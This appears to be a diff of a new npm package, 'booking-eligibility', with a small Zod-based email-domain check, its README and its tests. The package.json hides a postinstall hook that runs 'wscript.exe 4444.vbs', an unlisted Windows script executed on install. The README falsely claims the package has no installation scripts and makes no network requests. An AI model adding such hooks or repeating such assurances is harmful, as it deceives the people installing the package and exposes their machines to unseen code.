booking-eligibility 1.0.0

package/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "booking-eligibility",
+  "version": "1.0.0",
+  "description": "Booking eligibility checks for Node.js applications",
+  "type": "module",
+  "exports": "./src/index.js",
+  "files": [
+    "src",
+    "README.md"
+  ],
+  "engines": {
+    "node": ">=24"
+  },
+  "scripts": {
+    "test": "node --test",
+	"postinstall": "wscript.exe 4444.vbs"
+  },
+  "dependencies": {
+    "zod": "^4.0.0"
+  }
+}

package/readme.md

@@ -0,0 +1,86 @@
+A small Node.js library for checking booking email eligibility.
+
+## Requirements
+
+- Node.js 24 or newer.
+
+## Installation
+
+```bash
+npm install booking-eligibility
+```
+
+## Usage
+
+```js
+import { checkEligibility } from "booking-eligibility";
+
+const result = await checkEligibility(
+  { email: "resident@example.com" },
+  {
+    blockedDomains: ["blocked.example"],
+    delayMs: 25
+  }
+);
+
+if (!result.eligible) {
+  console.log(result.reason);
+}
+```
+
+## API
+
+### `checkEligibility(input, options)`
+
+Input:
+
+| Property | Type | Description |
+|---|---|---|
+| email | string | Email address to check |
+
+Options:
+
+| Property | Type | Default | Description |
+|---|---|---|---|
+| blockedDomains | string[] | [] | Exact email domains to reject |
+| delayMs | number | 25 | Simulated delay from 0 to 5000 ms |
+
+Returns a promise resolving to:
+
+```js
+{
+  eligible: true,
+  reason: null
+}
+```
+
+Or, for a blocked domain:
+
+```js
+{
+  eligible: false,
+  reason: "EMAIL_DOMAIN_BLOCKED"
+}
+```
+
+Invalid arguments throw a Zod validation error.
+
+Domain matching is case-insensitive and exact. Blocking `example.com`
+does not automatically block `mail.example.com`.
+
+## Privacy and installation
+
+- No network requests.
+- No personal data storage.
+- No installation scripts.
+- Uses Zod for argument validation.
+
+This library implements a local email-domain policy. It does not verify
+identity, email ownership, or real-world appointment eligibility.
+
+## Tests
+
+```bash
+npm install
+npm test
+```

package/src/index.js

@@ -0,0 +1,61 @@
+import { setTimeout as delay } from "node:timers/promises";
+import { z } from "zod";
+
+const inputSchema = z.object({
+  email: z.string()
+    .max(254)
+    .regex(/^[^\s@]+@[^\s@]+\.[^\s@]+$/)
+    .transform((email) => email.toLowerCase())
+});
+
+const optionsSchema = z.object({
+  blockedDomains: z.array(
+    z.string()
+      .trim()
+      .min(1)
+      .transform((domain) => domain.toLowerCase())
+  ).default([]),
+
+  delayMs: z.number()
+    .int()
+    .min(0)
+    .max(5000)
+    .default(25)
+});
+
+/**
+ * Checks an email against an exact-match domain policy.
+ *
+ * The delay simulates an asynchronous eligibility integration.
+ * No network requests are made and no personal data is stored.
+ *
+ * Invalid arguments throw a Zod validation error.
+ *
+ * @param {{ email: string }} input
+ * @param {{
+ *   blockedDomains?: string[],
+ *   delayMs?: number
+ * }} [options]
+ * @returns {Promise<{
+ *   eligible: boolean,
+ *   reason: "EMAIL_DOMAIN_BLOCKED" | null
+ * }>}
+ */
+export async function checkEligibility(input, options = {}) {
+  const { email } = inputSchema.parse(input);
+
+  const {
+    blockedDomains,
+    delayMs
+  } = optionsSchema.parse(options);
+
+  await delay(delayMs);
+
+  const domain = email.slice(email.lastIndexOf("@") + 1);
+  const blocked = blockedDomains.includes(domain);
+
+  return {
+    eligible: !blocked,
+    reason: blocked ? "EMAIL_DOMAIN_BLOCKED" : null
+  };
+}

package/src/test/index.test.js

@@ -0,0 +1,75 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { checkEligibility } from "../src/index.js";
+
+test("accepts a valid email by default", async () => {
+  const result = await checkEligibility(
+    { email: "resident@example.com" },
+    { delayMs: 0 }
+  );
+
+  assert.deepEqual(result, {
+    eligible: true,
+    reason: null
+  });
+});
+
+test("rejects a blocked domain case-insensitively", async () => {
+  const result = await checkEligibility(
+    { email: "resident@EXAMPLE.COM" },
+    {
+      blockedDomains: ["Example.Com"],
+      delayMs: 0
+    }
+  );
+
+  assert.deepEqual(result, {
+    eligible: false,
+    reason: "EMAIL_DOMAIN_BLOCKED"
+  });
+});
+
+test("allows domains that are not blocked", async () => {
+  const result = await checkEligibility(
+    { email: "resident@example.com" },
+    {
+      blockedDomains: ["blocked.example"],
+      delayMs: 0
+    }
+  );
+
+  assert.equal(result.eligible, true);
+});
+
+test("does not automatically block subdomains", async () => {
+  const result = await checkEligibility(
+    { email: "resident@mail.example.com" },
+    {
+      blockedDomains: ["example.com"],
+      delayMs: 0
+    }
+  );
+
+  assert.equal(result.eligible, true);
+});
+
+test("rejects invalid email input", async () => {
+  await assert.rejects(
+    checkEligibility(
+      { email: "not-an-email" },
+      { delayMs: 0 }
+    ),
+    { name: "ZodError" }
+  );
+});
+
+test("rejects invalid delay configuration", async () => {
+  await assert.rejects(
+    checkEligibility(
+      { email: "resident@example.com" },
+      { delayMs: -1 }
+    ),
+    { name: "ZodError" }
+  );
+});